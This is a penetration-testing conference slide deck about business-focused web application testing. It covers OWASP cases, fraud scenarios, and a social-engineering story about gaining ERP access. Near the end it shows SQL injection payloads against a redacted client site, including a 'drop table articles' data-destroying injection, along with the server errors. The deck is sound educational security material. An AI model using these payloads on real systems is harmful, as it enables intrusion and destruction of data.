Agenda

- Regular webapp testing vs. Business webapp testing
- The process of business webapp testing
  - Understanding the business
  - Legal & regulatory requirements
  - Understanding the risks
  - Examples – OWASP Top 10
  - Testing of ERP & Financial systems
  - Enhance report writing
- Conclusion
K. K. Mookhey - Speaker Profile

- Founder & Principal Consultant, NII Consulting (estd. 2001)
- Speaker at Blackhat 2004, Interop 2005, IT Underground 2005, Secnet, etc.
- Co-author of book on Metasploit Framework (Syngress), Linux Security & Controls (ISACA)
- Author of numerous articles on SecurityFocus, IT Audit, IS Controls (ISACA)
- Conducted numerous pen-tests, application security assessments, incident response, etc.
## Technical vs. Business Webapp Testing

<table>
<thead>
<tr>
<th>Technical Webapp Testing</th>
<th>Business Webapp Testing</th>
</tr>
</thead>
<tbody>
<tr>
<td>Focus is on technical vulnerabilities</td>
<td>Focus is on business process vulnerabilities</td>
</tr>
<tr>
<td>Requires strong technical know-how</td>
<td>Requires both technical and business process know-how</td>
</tr>
<tr>
<td>Having the right set of tools is critical</td>
<td>Understanding the workings of the business and applications is critical</td>
</tr>
<tr>
<td>Is usually zero-knowledge</td>
<td>Requires a person who understand the business process to play a significant role – usually an insider</td>
</tr>
<tr>
<td>Report highlights technical issues</td>
<td>Report highlights business impact of the findings</td>
</tr>
<tr>
<td>Understanding of the regulatory environment is good</td>
<td>Understanding of the regulatory environment is mandatory</td>
</tr>
<tr>
<td>Audience for the report is usually the IT and Security teams</td>
<td>Audience for the report also includes the business process owners and heads of departments</td>
</tr>
</tbody>
</table>
Regulations that drive webapp testing

- **PCI DSS**
  - For all credit card processing merchants
  - Quarterly, semi-annual, annual network scans and penetration tests
  - Focus on web application security
  - Requires high-level of protection of credit card data
  - There are no fines for non-compliance but breaches of security could put you out of business

- **HIPAA**
  - For healthcare and pharma providers
  - Requires high-level of protection for patient records and medical history
  - Fines for non-compliance are usually high
  - Breaches could put you out of practice/business
Understanding the business

- Who are the key actors – employees, departments, customers, partners, vendors, investors, brokers, franchisees, resellers
- What applications do they use
- What data do they access through these applications
- What are the risks if any of these actors turns bad
- What possibilities exist if an actor should decide to misuse the data – building fraud scenarios
A1 - Cross site scripting

Or HTML Injection?

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.

The OWASP Foundation
http://www.owasp.org
Challenges with XSS

- Explaining the technicality of the issue to developers and management
- Explaining exploitability and impact of the issue
- Demonstrating practical risk from it
- In some situations, explaining it additionally as HTML injection may help
Option 1 - show it as XSS
Option 2 - show it as HTML injection

SITE HACKED!

It was observed that the website of the ________ was hacked today, and the hackers had stolen information ________ and Members-only Documents
A5 - Cross Site Request Forgery

OWASP

CWE - 352
Posting ghost messages

- Social networking website
- Value of website derives from focus on privacy and ease-of-use
- Peer-feedback is the key to the popularity
- Messages posted privately and on public ‘walls’, ‘scrapbooks’, ‘blogs’
- Integrity of messages is key
- Social engineering can be used to trigger CSRF and XSS attacks
Data mining - scraping deep

- A local search engine with millions of hits on the website
- Key concerns are:
  - Growing competition
  - Need to expand rapidly through resellers and franchisee model
  - Threat of exposure of data to unscrupulous elements
  - Biggest threat of corporate espionage
- External web application test
  - Running repeated search queries – changing session IDs, changing source IP addresses
  - Exploiting other channels – WAP, Toolbar, sub-domains
- Internal business applications test from the perspective of a:
  - Tele-caller
  - Marketing agent
  - Developer
### WAP request counter modified

![WebScarab](image-url)

<table>
<thead>
<tr>
<th>ID</th>
<th>Date</th>
<th>Method</th>
<th>Host</th>
<th>Path</th>
<th>Parameters</th>
<th>Status</th>
<th>Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>200</td>
<td>2008/07/22 22:07:12</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>207</td>
<td>2008/07/22 22:07:07</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>208</td>
<td>2008/07/22 22:07:06</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>209</td>
<td>2008/07/22 22:07:02</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>214</td>
<td>2008/07/22 22:07:00</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>216</td>
<td>2008/07/22 22:06:52</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>217</td>
<td>2008/07/22 22:06:46</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>218</td>
<td>2008/07/22 22:06:44</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>190</td>
<td>2008/07/22 22:06:41</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>191</td>
<td>2008/07/22 22:06:38</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>200</td>
<td>2008/07/22 22:06:36</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>201</td>
<td>2008/07/22 22:06:34</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>204</td>
<td>2008/07/22 22:06:26</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>205</td>
<td>2008/07/22 22:06:24</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>194</td>
<td>2008/07/22 22:06:17</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>196</td>
<td>2008/07/22 22:06:13</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>197</td>
<td>2008/07/22 22:06:11</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>198</td>
<td>2008/07/22 22:06:09</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>206</td>
<td>2008/07/22 22:06:07</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>207</td>
<td>2008/07/22 22:06:05</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>208</td>
<td>2008/07/22 22:06:03</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>209</td>
<td>2008/07/22 22:06:02</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
<tr>
<td>210</td>
<td>2008/07/22 22:06:00</td>
<td>GET</td>
<td>google.com</td>
<td>search</td>
<td>?client=mumbai&amp;autoSrch=61359722586&amp;features=Rank&amp;season=wap</td>
<td>403 Forbidden</td>
<td>Proxy</td>
</tr>
</tbody>
</table>

*Used 39.89 of 63.56MB*
Publications website

- Internationally acclaimed publications website
- Earns income via paid subscription to researched publications
- Publications are key intellectual property
- Membership levels and subscription values differ based on sensitivity and type of information accessible
- Use of the Google Search appliance leads to indexing of all data
- While members only data is not accessible directly, it is accessible via the ‘Text Version’ link from the Google search results!
A10 - Failure to Restrict URL Access
Leading stock exchange

- Investors use the stock exchange via brokers
- However, direct interactions with exchange include:
  - Registering with the exchange to obtain investor IDs
  - Modifying investor personal data
  - Nominating others to trade on their behalf
  - Obtaining trade summaries
  - Obtaining research reports
- Risks include primarily violation of privacy
Gaining the business perspective

- Website analysis reveals two areas of interest
  - A local search functionality
  - Online access to personal trading history and balance sheets
- Each investor has a personal investor number – National Investor ID (NID)
- Website also offers educational games and documents on how to trade
- Guessing passwords for user IDs gives access to complete trade history and balance sheets
- Entering interesting search terms results in personal details of investors being revealed
A9 - Insecure Communications - CWE 720

- Driven by business risks and regulatory requirements
- Identify all sensitive data, not just authentication credentials
- PCI DSS requires encryption of credit card data
  - Between the client and the web server
  - When stored in the database
  - Between the web application server and the database server
- HIPAA requires securing of all patient data
  - Prescriptions
  - Medical history
  - Diagnostic results
  - Transcriptions
Abuse of business functionality
Fraud scenarios for a P2P Webapp

- For a procure-2-pay cycle, possible fraud scenarios could include:
  - Adding a vendor without proper approval
  - Changing the banking data of a vendor so that payments go into the wrong bank account
  - Approving a quote by violating access rights
  - Approving an invoice without a goods-received-note being present
  - Colluding with another user to perpetrate a fraud
  - Violating maker-checker controls
Fraud scenarios for an online share trading platform

Main actors involved are:
- Brokers
- Franchisees
- Investors

Possible frauds could occur as follows:
- Attacker gathers enough data to social engineer a broker
- Attacker places trades on behalf of investors by violating web application security – jacking up share prices
- Attacker is able to determine trading patterns of HNIs – High Networth Individuals
- Attacker violates payment gateway controls to channel money into his/her own account
- Attacker impersonates a broker/franchisee and social engineers the share trading company
Buy goods for free!

- Internal audit of a Southern India-based retail store contracts us to do a ‘tiger team’ attack
- Objective of the exercise is to determine controls over financial information
- Can we then:
  - Access sensitive financial information
  - Modify goods prices and accounts information significantly
  - Change tags on goods to buy them at lower price
Modus Operandi

- Modus operandi
  - Do a reconnaissance survey of the retail store, and are unable to locate any “IT” department
  - The PA system announces for IT, and we manage to locate the small room tucked away somewhere
  - Three junior engineers are present. We inform them that we are here to do an IT audit
  - No authorization is requested, and none is shown
  - We ask preliminary questions about their work, infrastructure problems and try to build a rapport

- Results
  - Gain in-depth information about the applications and business processes
  - Gain complete access to their primary ERP systems and the back-end Oracle database
  - Warehouse records show us the preferential pricing from vendors and other parties
Master Data is uploaded from flat files
A2 – Injection flaws

CWE - 713

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

http://www.owasp.org
Informational website of a large telco

- One of the region’s leading telecom companies
- One of its websites is purely informational – new offers, schemes, news items, etc.
- SQL injection is discovered, but we’re unable to convince them about the impact
  - News data could be modified
  - Malicious code could be injected
  - Database could be deleted
- Last item strikes a chord – wish to test incidence response capability
Results

http://www.<CLIENT>.com/preview.asp?ArticleID=1'or'1='1

Technical Information (for support personnel)

- Error Type:
  Microsoft OLE DB Provider for SQL Server (0x80040E14)
  Line 1: Incorrect syntax near 'or'.
  /./lib/header_pre.asp, line 101
- Browser Type:
  Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624
  Netscape/7.1 (ax)

- Page:
  GET /preview.asp
Determine table name

http://www.<CLIENT>.com/preview.asp?ArticleID=1 having 1=1--

Technical Information (for support personnel)

- **Error Type:**
  Microsoft OLE DB Provider for SQL Server (0x80040E14)
  Column 'articles.article_id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
  ./lib/header_pre.asp, line 101
- **Browser Type:**
  Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624
  Netscape/7.1 (ax)

**Continuing in this manner, we get:**

Article_id, Heading, SubCategory1Id, SubCategory2Id, SubCategory3Id, CategoryID, article_title, article_key, article_inc, article_sum, article_pic, article_ban, banner_type, article_date_posted, article_date_updated, article_desc, Display, main_article
Drop the table!

http://www.<CLIENT>.com/preview.asp?ArticleID=1; drop table articles;--

Technical Information (for support personnel)

- Error Type:
  Microsoft OLE DB Provider for SQL Server (0x80040E37)
  Invalid object name 'articles'.
  ./lib/header_pre.asp, line 101
- Browser Type:
  Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624
  Netscape/7.1 (ax)
Conclusions

- Real-world hackers are hacking the business, not the technology
- Penetration testers need to bring their approach up to speed
- Requires a business know-how and a larger perspective than simply exploiting buffer overflows or SQL injections
- Cookie-cutter pen-testing methods won’t work
- Technical testing needs to be combined with physical penetration testing and social engineering
- Reports and executive summaries should reflect this deeper understanding of the business perspective
Questions and feedback

K. K. Mookhey
Founder, NII Consulting
kkmookhey@niiconsulting.com
www.niiconsulting.com

Securing the future of your enterprise